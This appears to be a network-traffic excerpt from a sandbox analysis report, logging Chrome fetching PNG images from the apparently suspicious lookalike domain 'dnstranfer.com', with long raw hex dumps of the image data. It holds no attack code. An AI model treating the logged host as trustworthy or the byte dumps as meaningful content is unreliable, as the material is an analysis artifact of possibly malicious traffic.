6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 
2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 30 3a 32 32 20 20 
Data Ascii: PNGIHDR\itEXtSoftwareAdobe ImageReadyqe<(iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M
0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 
2018/08/13-16:40:22  

Session ID Source IP Source Port Destination IP
Destination
Port

Process

262 192.168.11.20 51579 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:08 UTC 13381 OUT GET /lipgupiao/assets/images/haoli4.png HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: dnstranfer.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

263 192.168.11.20 51580 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:08 UTC 13381 OUT GET /lipgupiao/assets/images/haoli1.png HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: dnstranfer.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

264 47.243.100.207 443 192.168.11.20 51579 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:08 UTC 13382 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:08 GMT
etag: "ded6c-62f0fed7-202f19;;;"
last-modified: Mon, 08 Aug 2022 12:17:27 GMT
content-type: image/png
content-length: 912748
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:08 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:08 UTC 13382 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 dc 00 00 03 20 08 06 00 00 00 39 b5 a0 3c 00 00 
20 00 49 44 41 54 78 5e e4 bd d9 ae 25 4b 72 25 76 32 8b 84 5e 55 9f 26 90 ea 7f 91 a8 01 1a fa 37 05 74 d7 83 c0 6e d6 
a5 40 5e 82 c5 16 54 29 84 87 0f 36 2c b3 65 16 b1 f3 92 82 2e ba 59 79 22 dc 6d b6 65 e6 be 3d 22 be fd e7 7f ff ef fe 8f 
af af af ff fa eb eb eb eb c7 fe 3f d7 3f d0 7f 63 c4 fd 9f f8 67 34 9a 52 51 34 d6 1f df cc 34 39 c8 de 8b e4 98 73 fe dc 95 ec
13 e3 27 ef c8 3e cc 6e ec be 11 b1 a5 62 83 f6 8f c6 58 2d 92 96 a8 45 27 09 c0 92 38 6c d0 8f 57 61 2b 26 7f 26 0f 6c 
b4 fd b8 92 8a e9 30 26 7d a3 e3 0e 19 12 8f 24 e4 73 71 c0 5d 13 90 b7 4b 4f 6e 7f 1b 29 0c 72 ba a0 37 1e 52 98 b8 20 
ab 3e 14 a3 5f 77 7e 2b f8 a5 9d 18 0e 1d 1c 74 
Data Ascii: PNGIHDR 9< IDATx^%Kr%v2^U&7tn@^T)6,e.Yy"me="??cg4RQ449s'>nbX-E'8lWa+&&l0&}$sq]KOn)r7R >_
w~+t

2022-08-11 03:43:08 UTC 13398 IN Data Raw: 6f f0 63 17 6f cc 04 88 71 cf ba bc b5 e6 97 53 40 8b 63 d8 8f 3f e5 35 4a 96 04 9c bd cd e2 93 25 28 d8 b1 cf 
31 db 28 90 55 02 61 99 ee 46 04 f6 f1 aa 0e c2 84 ef 04 4a 00 00 20 00 49 44 41 54 a4 dd 04 a3 e6 a5 03 f2 f0 4b ee 52 
d7 8b 58 69 7f 20 b5 d0 83 c3 21 4f 36 e0 dc 29 ae c2 8f 5c 86 79 1e 63 2c a8 65 60 7d 1e 0b 69 cf 42 07 78 99 e2 34 11 
15 0d 0c 6a 41 07 76 b0 c2 ce 34 5d 0a 66 4f 55 4f a1 93 e5 55 29 3b ee 5a 20 84 d8 ef f6 65 a7 b7 0b 61 92 16 72 31 bf 
22 a9 fb c1 31 5a 4f 5a b9 ae 54 8a 9c 5e f0 8f 25 07 fd ed 8a d2 ae 8c 67 7a c0 2b 16 41 dc 69 c9 19 58 b3 98 63 69 c3 
df 92 a3 12 20 b4 98 6e 22 6e 64 20 8b dd 50 74 52 b8 79 95 e8 4b 0a ef cb f5 ea 63 93 46 13 91 3a 0f 98 5c 53 f6 62 8b 
bc 3a ba 69 c1 89 39 85 f8 a8 0c 71 b9 27 57 2b b6 48 
Data Ascii: ocoqS@c?5J%(1(UaFJ IDATKRXi !O6)\yc,e`}iBx4jAv4]fOUOU);Z ear1"1ZOZT^%gz+AiXci n"nd PtRyK
cF:\Sb:i9q'W+H

2022-08-11 03:43:09 UTC 13415 IN Data Raw: 4c 96 07 72 ed 5b e5 11 ea 5c 5d 8a 08 c7 d1 1f 7f 97 af e4 ea 0e 38 be 2a 3b cb bb d0 07 a8 f1 3a 9f 00 67 
8d 05 dc 63 ec d6 e3 b0 21 2c e6 e6 9a 2f 6d 85 4a c2 69 e6 1c 61 74 58 31 2c 4b 40 2c fa 64 1a 2b 6f 4f fd bc e6 45 21 
1a 5d 34 7e 0c 00 00 20 00 49 44 41 54 d0 75 97 83 71 d5 c8 7f 2a fe b6 71 99 80 5c a5 16 0e a5 44 f6 b1 fc a2 dd 92 b2 
5c 76 c3 6d 4e 44 af db 92 f1 43 81 b8 86 09 23 8b 29 2d 90 20 55 fd cc 38 b7 11 3d ee 0b df b4 ea 87 c1 c2 f1 e6 21 1d 
79 f9 cb 17 96 8d 32 d0 b7 0b d8 9a e2 e7 1c ed 19 ff 6c c3 dd f6 3c 9a bf de 2e 00 8d 8c fc fd 00 89 5e 53 c7 07 d3 13 3f 
75 60 19 8d 8d 64 a5 f1 2b 88 a5 f8 1e e4 4c 06 66 11 1e 64 76 b5 b6 db f4 ed ab 22 59 71 8e 1a e9 a6 53 cb f5 ef 96 a7 
63 8e 48 83 4d a3 20 6a 61 48 2b b2 4a f2 77 e2 db d8 
Data Ascii: Lr[\]8*;:gc!,/mJiatX1,K@,d+oOE!]4~ IDATuq*q\D\vmNDC#)- U8=!y2l<.^S?u`d+Lfdv"YqScHM jaH+Jw

2022-08-11 03:43:09 UTC 13431 IN Data Raw: 72 86 4b df f6 dc 56 56 45 51 60 20 b1 13 89 dc ba f7 58 7b 9f 79 c5 e4 78 6e 04 9d ad 5b 0e 2a f3 5a 56 a8 
28 38 02 22 56 07 fa ae 31 dd 9d 7f cd 3a bb 7a 46 7d 3b 3a eb aa 7a 36 64 d9 67 19 27 56 1c 80 d1 ba c1 3d b6 37 93 
1a 32 63 f6 03 4f 05 99 96 ce 60 b5 24 77 f9 19 f1 1e 64 b4 86 fb 3c c3 fd 0f c7 83 d4 a9 00 00 20 00 49 44 41 54 df 3e be 
f9 ee 87 af 5f be 98 67 b8 1b 22 6e ab b7 04 e0 e5 f1 96 0d f2 59 bb 71 0a c3 bb c1 b5 19 db 38 b9 64 c6 0a ed 7a 49 c6 
d9 30 af 40 18 d7 fb 2b b2 01 10 06 9f 14 53 d9 45 79 56 1d 61 3d a3 b6 94 92 57 8a 1d be 42 76 e5 cd 6c 02 ab 1a 4a 52 
de c9 61 26 4e 45 49 8f be b4 e1 a8 28 16 64 85 4e da 6e d8 80 6d ab 44 9d 34 5b 90 8f 29 a0 f4 d9 01 c7 ef 2d b9 9f 99 
da 3d 8b d9 6b b8 cf 40 d0 28 f7 1f e6 cd db 50 09 c1 da 
Data Ascii: rKVVEQ` X{yxn[*ZV(8"V1:zF};:z6dg'V=72cO`$wd< IDAT>_g"nYq8dzI0@+SEyVa=WBvlJRa&NEI(dNnmD4[)-
=k@(P

2022-08-11 03:43:09 UTC 13447 IN Data Raw: 67 e9 be a0 5e e5 7f f3 c7 b3 f1 59 9e 8a f0 e9 70 30 a0 d2 6c df a6 7b 08 b3 47 a6 f0 88 1b 68 0a 7d 60 79 46 
73 2a 09 7d 2a cf 18 4e 6b a1 41 0d 85 5e 95 8b 4d 3e 55 04 1e e1 99 dd ed 30 28 12 07 f9 54 0d 77 bb 4b a1 da 74 df 
62 0f 58 bc 48 59 b3 58 e8 15 ce 9e be ec 75 09 9f e1 da 54 20 26 2c b8 d4 50 62 45 2a de 27 fc ac 17 a0 23 bc 66 a2 96 
8b 6b 40 42 56 8f 2e 7b ab 86 61 62 9e 00 00 20 00 49 44 41 54 20 a8 45 72 b7 e1 9e aa fe 12 b8 02 d9 a1 86 7b 55 7d 
cb 1f 04 29 74 31 90 20 7b 0d 21 85 9d 07 2a e2 43 dd 13 09 ce fa 02 b4 09 60 47 a3 e1 de fb d2 c7 0e f3 31 a6 fd e7 68 
aa 8f 6b 6d a7 ba dc 22 8e 75 d3 5a da 6b 2d 83 72 8a 2e 13 67 c3 fd 14 45 c7 a9 45 70 fc 3a fe ff c4 99 76 d9 d9 70 b7 
13 c6 06 1e cb 85 c2 20 88 e8 14 98 0b c1 23 b5 05 a7 4d 91 
Data Ascii: g^Yp0l{Gh}`yFs*}*NkA^M>U0(TwKtbXHYXuT &,PbE*'#fk@BV.{ab IDAT Er{U})t1 {!*C`G1hkm"uZk-r.gEEp:vp 
#M

2022-08-11 03:43:09 UTC 13495 IN Data Raw: 0b 59 c6 4c be 49 fd 38 e6 c3 74 f2 35 30 d8 82 7c 7c 3e 68 d7 20 3c df a6 a3 1b 84 9a 4d 02 24 c9 00 eb e4 
e7 8e 60 44 a9 18 d5 ef e4 83 52 f9 f4 36 60 ea 93 ea 9b 74 2c 9c 1a b0 9f 60 e8 85 55 6c 7d e1 fb 7b d2 7e 8d 1f 12 70 
7d 5c 7a cb ee d3 b9 2e 44 07 51 6b cf 33 10 5f ff 93 b4 59 66 fd 66 da b7 f4 4b 86 54 ad 77 6c ff c1 e7 6b 3a ad b2 7b f0 
45 36 43 a8 3b a9 27 27 15 07 67 bd 59 cb dc 4c 89 63 3e ea 5b c8 f2 a6 b5 0e fe 62 a0 1d 0f df 6d 08 ca 75 00 00 20 00 
49 44 41 54 48 17 b8 a2 e7 69 da 78 7e 29 b5 0c 07 55 19 d0 1d f5 82 d6 0d 9a 21 93 d8 96 49 06 5f 56 c8 7d 46 a4 80 
5e e9 a3 20 89 b6 5e 98 84 ec cb 55 a7 2c 7b 7c 74 15 01 ee c4 1f cd 14 9d eb dd 7e 64 a9 04 21 76 51 7b ca a2 f4 9d 47 
91 39 eb 4e 92 a3 d2 16 8a 09 26 d4 05 ba db c0 ba 69 56 
Data Ascii: YLI8t50||>h <M$`DR6`t,`Ul}{~p}\z.DQk3_YffKTwlk:{E6C;''gYLc>[bmu IDATHix~)U!I_V}F^ ^U,{|t~d!vQ{G9N&iV
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2022-08-11 03:43:09 UTC 13511 IN Data Raw: 7d 20 26 da 89 a3 8b 76 a9 09 af c0 47 4a 7d 91 ee 09 dc 18 c9 f4 ef f3 8b b8 fd 10 35 31 a2 47 43 9f a1 51 20 
79 44 25 4e 79 da 47 14 f1 dd 38 b4 07 e6 3e 74 1b a5 83 a9 76 9a 2a a7 36 fe 87 40 37 dd 24 c5 c8 51 05 94 0f 37 36 d5 
03 89 3f 7a 19 b6 9e 78 0d 06 6f 9e 26 30 bd 79 cf 7e 58 f8 e4 fb a1 75 f7 01 8a c6 26 80 8f a2 a5 95 f3 4d 00 24 3a f1 fa 
71 43 74 ca c9 49 1f 12 d8 d6 3f 79 0e ba 2f 1e 83 de 2b 27 60 70 ea 3c 0c 97 37 44 94 fd 98 f2 a2 d7 f7 5e 0d 9d 0f de 06
ed 7b 6f 86 fa 15 8b ea 71 51 4c a5 31 40 d0 17 c1 9c 00 00 20 00 49 44 41 54 e0 57 81 7b 08 fc 21 48 9c 34 e7 e8 b3 f5 
27 5f 84 95 6f fc 15 74 5f 3b 49 1b 8a a4 d3 14 80 bb e5 84 0c 47 30 5c c3 68 f6 2e b4 ee dc 07 3b 7f f9 a7 a1 b5 6f 1f 8c 
46 3d 18 6d ad f3 29 0a 83 88 94 52 a6 0e d5 
Data Ascii: } &vGJ}51GCQ yD%NyG8>tv*6@7$Q76?zxo&0y~Xu&M$:qCtI?y/+'`p<7D^{oqQL1@ IDATW{!H4'_ot_;IG0\h
.;oF=m)R

2022-08-11 03:43:09 UTC 13527 IN Data Raw: a8 de bf 04 85 66 85 41 73 b1 c9 a4 68 6e a4 cc cd 36 52 d0 22 c6 a0 c4 e0 27 de 73 30 b8 d1 82 fd 57 6f c1 
de 4f 6f 90 9e e3 06 c7 d2 f7 cf 43 fd 89 e3 cc b1 ff 9b 7b d0 b9 72 0f c6 9b 7d 7a 9e 00 6c 7c af f1 cf 8c ed 92 cd 60 4a 98 
29 ea 4f 77 0c 85 e5 32 2c 7e e7 1c 34 bf 73 06 ca 27 1a 30 d9 ed 43 e7 77 9b d0 7a ed 36 b4 df 5c a7 b6 94 4f d5 a1 79 
f9 24 2c 7e e7 2c d4 bf 7e 8c 37 74 90 16 4a 9e 46 a1 23 e9 69 d9 f6 3c bf 10 ec a6 0d af f1 0c 46 9b 1d e8 be b7 01 ad 
d7 ef 40 ff 93 5d 18 b7 47 24 df 3c 9e 74 71 da 19 63 a0 70 e3 a0 8f 1c 82 78 92 a5 0e 8d 27 8e 41 e5 6c 93 94 76 d2 7a 
46 6e 2d 00 00 20 00 49 44 41 54 1e d3 69 09 b4 09 c8 ed 5f 39 dd 80 da 43 cb 50 3e 89 f3 03 b3 f4 f1 22 58 cd f0 90 a2 
63 26 20 9e ba e1 13 1b 38 5f 46 eb 1d e8 7e bc 03 
Data Ascii: fAshn6R"'s0WoOoC{r}zl|`J)Ow2,~4s'0Cwz6\Oy$,~,~7tJF#i<F@]G$<tqcpx'AlvzFn- IDATi_9CP>"Xc& 8_F~

2022-08-11 03:43:09 UTC 13543 IN Data Raw: ab 77 75 39 58 b5 88 bd 1f b5 8c 99 20 56 10 d4 fe 95 c4 4a f1 91 8c 99 80 ec f4 36 8e 21 ff e2 41 d5 eb be 36 
dc 11 85 7f 1e 30 95 8e 99 b7 65 ee c9 15 8e 8f c0 9d 04 e9 e2 b5 a7 c5 05 fa 54 0f 95 68 15 ec 6e ac 25 b6 2d d9 0d 98 
07 bb df b8 33 80 bb 4c e8 d4 4d d8 46 18 63 09 d5 6e ba 15 9f d0 af 1a d7 26 ca 2d fe 58 5d 6f 5d ad 47 76 b6 a1 36 73 
d7 dd fc f2 d8 d2 d6 a9 10 fb 1d ab 1e fd d5 1a 3f 9e 5b f2 cf 50 4e 9a 85 4a cf 1d ad b8 24 62 b6 2a b9 84 3b 3d 97 6d ff 
61 37 2a 75 92 c4 d6 e8 a9 1d c5 0d 69 4a 0c e4 93 5f b2 78 b3 2e 0f 97 f8 88 4e 0a f3 c6 34 81 ee c6 47 9a e3 da e1 1a 
7d 7d 3a ab f6 a7 f6 d3 7d ce 37 3f 7d ee 36 16 9b ad 62 47 83 63 1c c1 15 f4 db 00 00 20 00 49 44 41 54 52 0a a7 61 f1 
80 88 5f 68 4c 65 a7 a1 06 0c f3 09 50 8d 5a 44 19 
Data Ascii: wu9X VJ6!A60eThn%-3LMFcn&-X]o]Gv6s?[PNJ$b*;=ma7*uiJ_x.N4G}}:}7?}6bGc IDATRa_hLePZD

2022-08-11 03:43:09 UTC 13559 IN Data Raw: f3 7f bd 5f 5e 4d 5c 21 fb f4 31 36 21 d8 70 c2 75 f4 42 55 cc 7a b3 4f 24 c8 e2 14 e5 8d 59 66 b4 f9 c1 c0 bb 
95 99 15 96 49 cc 16 a4 b9 91 d5 64 7e 16 6f 75 d9 f2 ae 31 ed b2 eb 6b b5 2b c5 e8 7b 1a 4d 93 d0 a7 eb 96 05 f3 15 9d 
34 3d 3c 83 68 70 ea 1e d3 cc 04 22 75 dc b6 b2 a8 32 00 e4 70 47 d0 7d 77 ef 14 3e b8 b6 cf 1c ee bd 32 dc 6d 23 13 
09 a0 53 1b 9a 24 cf d8 18 9b 42 9c 07 03 16 b9 e1 93 e4 15 db 71 75 f9 27 fe 2e a9 d5 a9 22 a8 e9 83 63 f1 57 52 b5 e6 
9c 9c 05 48 da 40 25 bb 1f 2e 4a 7a ad 20 37 01 67 0c 9a 01 82 72 68 07 f1 92 48 cc 64 bf 6b 01 e3 2b 98 25 ba 84 e1 d5 
12 f2 8b 15 51 c9 50 a6 a6 00 72 14 77 23 b0 a4 59 ed 81 f9 45 3c e5 0a 3c 12 27 a7 70 97 23 ad 04 be 43 17 d4 72 db 
ec 8d e5 da 49 b1 68 cd fc c0 82 5f 30 b3 00 00 20 00 49 44 
Data Ascii: _^M\!16!puBUzO$YfId~ou1k+{M4=<hp"u2pG}w>2m#S$Bqu'."cWRH@%.Jz 7grhHdk+%QPrw#YE<<'p#CrIh_0 
ID

2022-08-11 03:43:09 UTC 13575 IN Data Raw: 76 3c 98 5c 8b 47 50 98 a4 37 a8 54 f4 32 ea b5 d1 e0 07 73 a0 62 3b 9e ea 85 93 b1 c5 7c c0 0f 63 bf e4 6b 
e9 4f fd 16 7a 42 ff 8d 6f 97 4f fe ea 03 16 04 bf f9 c3 b7 cb cf fe d7 d2 5f 19 54 af 9c f4 2d 27 62 cb 2b 5f 54 f0 ec 75 e3 06
a7 91 25 7d fc 6f 9a 47 d3 58 6e 8e bf 42 c1 7d 08 de dc 8b 4d 24 20 34 8d 4d c7 5a 36 05 f2 72 e8 5b 57 72 11 18 70 0e 
be 7d f5 5c fe c1 e6 58 f8 ad 6a 7a ec 84 28 4c a2 84 b0 67 d8 da df ae 02 c6 a1 72 a3 c3 2f 1d 65 05 f2 c1 a9 10 22 85 50
6c 29 52 1f 20 bd fd 4b 4f cb af fe 57 1f 96 5f f8 77 a1 d5 0f 9c 5e 3f 63 31 15 4e 38 7f fc d7 e7 e5 9b ff fb 6e f9 f6 5f 5d b0 
a7 36 d6 a3 f0 60 74 29 9a 42 61 1e 0a bb a8 37 80 1f 14 dc 6b 9b 92 d3 05 7a b5 b3 75 a5 5c 37 fa 96 b1 e0 5e 79 58 4f 
3d 50 91 1d ff 04 7c 6b 1b 9e 52 e4 
Data Ascii: v<\GP7T2sb;|ckOzBoO_T-'b+_Tu%}oGXnB}M$ 4MZ6r[Wrp}\Xjz(Lgr/e"Pl)R KOW_w^?c1N8n_]6`t)Ba7kz
u\7^yXO=P|kR

2022-08-11 03:43:09 UTC 13639 IN Data Raw: b6 90 0d 0f 2e 49 8e a4 92 98 ba 9a 1a 10 7d 16 47 cb 75 df ab c9 e0 8c c2 0a ae bc 96 23 31 85 a1 7c c1 f8 
bd b9 10 d9 81 cd f3 e7 d5 0b eb 83 6a 88 0f 22 dd 0b ad d7 d8 54 19 16 87 e0 c6 a3 d1 5b ed 1e e7 bd ba 8a b9 3c e9 
1d 36 16 dc 6f d0 93 6c 9d 14 ea dc d6 e4 ad 72 51 16 a2 a6 74 4e a1 2d 54 81 99 07 26 22 9e a9 45 b3 21 41 f2 31 c0 
bd 3e b6 94 b9 ac 97 a6 22 0c 43 37 b9 b6 b9 af 2f 8a 5e 81 2f a1 6c 8a bf 8d f4 59 35 d9 c8 8e 5b 74 eb 79 a9 5e 08 25 
23 a1 66 9d 6e ce 12 69 0c 4d 86 71 59 c4 9d f8 37 d3 ca 45 d0 32 14 dc 03 d4 db 9b 50 bb 3c 96 3f 79 da fc 91 8d 5d 50 
ab 1b 00 85 b7 d6 7e aa 5b d4 89 11 d1 de 86 15 ec 22 2d 58 b9 60 ac 47 1f 1b 80 ac 87 25 be 7b ce 63 95 13 71 42 7f a
3 ec 34 75 60 83 71 4b fa 0c c9 be 08 25 d5 c1 44 93 46 6e b4 65 
Data Ascii: .I}Gu#1|j"T[<6olrQtN-T&"E!A1>"C7/^/lY5[ty^%#fniMqY7E2P<?y]P~["-X`G%{cqB4u`qK%DFne

2022-08-11 03:43:09 UTC 13655 IN Data Raw: 4b 6d c6 3b ee d0 b5 09 fa 72 00 fb 44 03 9b a2 b5 2d 78 65 1f 4c 33 08 fb 65 a9 f4 0d 7a df 6b 24 38 76 80 65 
9e ae 8f b4 b2 52 80 bb ef 20 38 a0 01 7b f7 76 bf 86 54 14 e0 6e 1b ae f5 4c 1b 31 af 50 f6 50 0d 9a 8e 0a fa 42 de 3c 17 
93 6d ed 5c bc ab dc e5 a6 87 bb 41 7a df 68 5c e7 b5 3e 78 35 ce b2 99 9e f7 71 b6 5c 9c 67 68 af d1 19 21 ad 6c 46 f3 
52 82 bd dc 25 2a 92 9d 40 74 4e f7 41 5d 26 58 0d cf ee a0 dd a2 89 fe 15 36 a1 01 08 60 5b 17 ae a5 24 27 26 cf a0 5d 
dd 1a 0f db 64 4f 18 5b 30 1f da ed 68 c2 cc 9c a2 a9 b3 65 9c d2 29 65 76 ff b2 3b 87 7b 1c 1e 5a ea 33 3d a5 8d d1 9d 
0d 6a 3f 44 b5 e3 b5 4f a2 26 1b d5 9e d7 6c 55 cf fb ec a6 80 76 3a 71 ac e7 50 a6 50 13 b0 f1 b6 02 48 a8 08 57 87 0e 
76 ad 96 80 ab 0c 7c 98 87 9c ae ab 59 87 0e 44 74 
Data Ascii: Km;rD-xeL3ezk$8veR 8{vTnL1PPB<m\Azh\>x5q\gh!lFR%*@tNA]&X6`[$'&]dO[0he)ev;{Z3=j?DO&lUv:qP
PHWv|YDt

2022-08-11 03:43:09 UTC 13671 IN Data Raw: c6 35 b3 34 e8 6e 18 8d 3a a3 04 a5 3e 8e 70 1e 59 da 78 c2 09 bb e4 25 ef 71 dd bc a7 5c 73 6e 36 f1 1e dd 
bc 7a 6b d0 80 bb 17 a8 f6 02 db d1 03 8b f1 44 1c ea 7b 56 df c6 bc a6 a7 6b e0 38 c3 fa 8a ba 31 0c 12 e8 71 c6 ef 21 
83 4c 47 51 d7 59 f1 1e ad 52 12 20 b4 71 8c db 3a 6e 81 80 2c 3a 98 53 e8 79 95 bc 88 d3 c8 ae bb 10 23 f7 dd 8e d2 
1d 9b 91 5e be 82 b2 9f 1b 80 3b bb 4c 0b e0 c3 29 65 54 0e f7 c7 9e c2 dc 23 8f a1 fe e1 61 2e 0c 97 2c 15 f9 90 2e 23 
37 ec 6c 55 c4 d4 49 41 22 99 45 7c 58 8a 8d bc 5c 60 94 f3 9d 77 38 a5 4c ee ea 0d 18 a1 a2 a9 ae 1c ee aa c2 b2 a2 
a1 14 e5 12 85 a0 3d dc 4f 7d 43 a7 94 f1 03 ee 42 1f 77 41 c5 28 7d 60 48 6a f7 ca a9 7e 7d 5c ad 3d 1e 75 ee f6 b1 11 
8c ff ca 67 31 f2 99 7b 90 ca 15 18 f0 a0 54 32 da 5b 5f 52 c4 
Data Ascii: 54n:>pYx%q\sn6zkD{Vk81q!LGQYR q:n,:Sy#^;L)eT#a.,.#7lUIA"E|X\`w8L=O}CBwA(}`Hj~}\=ug1{T2[_R

2022-08-11 03:43:09 UTC 13687 IN Data Raw: 5e c5 70 5f c7 1a ee 2c 89 42 c0 b3 62 0b b5 25 c1 5a 1c c4 77 f6 e5 c3 98 fd fe bb a8 5e ba 05 d0 8d 0f 1a 23 
74 cb 21 11 45 6a f7 06 8c fd f2 53 e8 7f 68 07 8f 6b 4b 16 48 3b e8 15 e0 ce f2 28 a1 10 2a 13 93 98 fe fe bb 98 fe c6 eb 
68 5c 9d 66 e6 38 dd e0 1a fc dc 03 58 f6 f7 3f 87 f4 5d 1b 24 56 00 49 c2 f1 7a a7 89 f7 04 dc 47 11 89 13 e0 de 87 85 89 
8b b8 f0 1b bf cf 4e 00 02 9f 89 e1 de 0a 02 b8 eb 53 0e cd 35 1a cb 15 b9 49 d3 0e f6 aa d7 0b ed d0 27 a0 ba c6 52 2c 
54 fe cc c3 db 31 fa 4b 8f 23 fb c4 6e 44 87 33 6c 5f c9 86 f1 fb 1a ac 66 87 5b 1a 24 c7 9f ff e0 38 ae ff fe 77 51 78 e7 0c 
b3 ce a3 03 14 34 99 82 da 8a 93 b1 55 af a2 b1 50 42 33 5f 42 a3 40 01 98 9b dc ae b1 f1 21 c4 b7 ae 42 e6 be 2d e8 bf 
7f 13 92 1b 57 22 3a 98 16 9d 7e 76 aa 86 
Data Ascii: ^p_,Bb%Zw^#t!EjShkKH;(*h\f8X?]$VIzGNS5I'R,T1K#nD3l_f[$8wQx4UPB3_B@!B-W":~v

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:09 UTC 13703 IN Data Raw: df a4 0a fe bd df f0 09 9e 92 f4 c5 9d fc 58 e4 0b 6b 4f a0 72 bb 13 20 85 ef b9 4b 3d e0 53 65 1e 83 c6 33 b7 
3f 80 aa cb 9e ab d7 ae 70 39 fc de b6 7e d4 ac 6d bd d6 ca 42 7e db 92 77 4b cd b6 ed 73 64 d5 b1 17 b0 1d 6b 74 9f 3a 
9e f2 62 b6 eb 5a 38 f7 80 16 f1 49 57 da 71 76 ea 68 ef 2e df bb 6d bd 8d d6 e3 a4 9c 47 33 fe 9b fc d1 16 ff c6 39 4f 9c 
f3 68 91 bd e2 dc 66 77 6c bb 7b d9 87 07 29 c3 6d c4 3b 82 64 f7 89 3d 63 9e 3d 5c c6 96 20 75 dd 26 ab 5b 02 3e a5 ef 
a9 2d 7b 7a d8 3d 63 b7 b1 70 1b 92 bd 2d 7d 64 9c af db e9 b9 14 ce d9 cc 8b 2d bf 1b 26 73 27 d6 32 47 e3 04 2d ae ef 
12 e8 6c 74 bf 84 f9 98 a2 00 f7 0e 5b 24 00 34 11 91 74 4c 3e 49 de 27 51 bf 3c 5d 06 86 dd 5c da 13 90 ef 1c 06 55 a5 
61 d0 f1 7a 1b 6e 1a 74 8f c6 18 a3 d0 24 19 3a 83 
Data Ascii: XkOr K=Se3?p9~mB~wKsdkt:bZ8IWqvh.mG39Ohfwl{)m;d=c=\ u&[>-{z=cp-}d-&s'2G-lt[$4tL>I'Q<]\Uaznt$:

2022-08-11 03:43:09 UTC 13719 IN Data Raw: 91 fc ca b6 c1 38 87 0f cd e1 36 5e 7a ee c3 bf 77 60 bb ba 18 68 1b bb fa d5 18 0a 9b 31 f1 72 9f 72 ef 86 cb 
13 3f 82 b9 98 a0 05 bc 34 b5 ab 94 f1 aa 93 d7 a4 a9 f9 b6 1a 45 16 61 77 e8 90 cf 5b 2e 43 e2 53 bb b2 2c 1d b1 02 44 
36 d3 3b e6 23 e7 51 31 05 4a 69 1d 54 e7 80 5d cf b9 28 c0 cb 4d 62 44 3a ac d8 84 d3 18 e8 6d b4 3e e3 a5 e2 31 b3 
66 5d 4d 9e 86 c3 da 6e 4f 2f 79 7c c8 ae 6c bb 71 1a 29 ce d3 43 43 8f 1e af 7b 95 e3 f8 4e 30 f0 1e bb 3e f1 63 7a 13 3c 
2c b1 49 cb f7 34 cd 76 c3 3e 32 34 93 8f 95 db 6c 72 77 1d fa ec a9 dd ae 83 31 74 de 34 3d ca fa cd 4e cf 9b 27 43 3c 
61 ed b7 bc 37 31 af b9 8d fe e3 24 aa 74 98 96 f7 15 fd 7d 4b e0 e2 c8 88 3a ed 6f 5e f6 3d 27 d9 d9 0b 99 a2 7c 7c 04 
b8 13 bd 8c a2 ff e5 a1 91 d4 9f 1d a2 10 95 ec 1a e3 
Data Ascii: 86^zw`h1rr?4Eaw[.CS,D6;#Q1JiT](MbD:m>1f]MnO/y|lq)CC{N0>cz<,I4v>24lrw1t4=N'C<a71$t}K:o^='||

2022-08-11 03:43:09 UTC 13735 IN Data Raw: ea f4 ab 57 db 70 01 cc 9d b3 dc 07 32 26 74 98 7e 4e 8e 2b 9f 65 77 cb 15 01 dd e5 02 46 e0 50 2e a5 9a 40 
55 40 77 fe 18 8f fe 61 77 5f a5 50 30 95 14 69 7f 21 79 4c 9c a1 8a f4 2f 45 ce 48 0b cc 84 a9 8c 6c 1e 0e b8 bb 31 21 85 
1b 58 a0 b7 49 1d 96 f3 8a 99 9b fe 16 0c 91 e5 11 f7 c4 9c 9e 25 2a 92 b6 9a 06 c7 5f 99 30 f9 21 13 32 d0 dc 8c c3 42 
a1 b6 bb eb 29 b9 2b f3 77 f1 30 23 18 42 7a 18 0f 8b 9f ab 63 9e 80 ef 4c 45 b9 65 cd 45 d8 26 15 ed 9c 6a 61 fd 89 26 
9a 2f b5 51 3b af 8a f9 db a7 31 71 45 4d 3d 34 e9 a9 e6 70 fc c6 94 32 e4 70 6f 76 b0 fe 20 01 f7 5d ec bd 13 0a a0 20 
21 c9 bc 38 8b 97 9d 0e 48 cc d5 9e 77 aa 4e 0e 92 a5 b3 12 40 cc 50 52 90 52 e6 83 65 2c 7c 72 02 13 2e e0 4e 0a 04 
bb ea 84 b3 d6 26 63 a5 07 62 80 e6 cb 3b 78 f7 f7 9b e8 
Data Ascii: Wp2&t~N+ewFP.@U@waw_P0i!yL/EHl1!XI%*_0!2B)+w0#BzcLEeE&ja&/Q;1qEM=4p2pov ] !8HwN@PRRe,|r.
N&cb;x

2022-08-11 03:43:09 UTC 13751 IN Data Raw: 0b bb a3 db fa d6 b0 9d be ac cd b5 00 a0 9a ba d3 da 05 96 76 ac c8 54 80 85 57 65 ae 0a 2d fa 40 6a 8d 23 
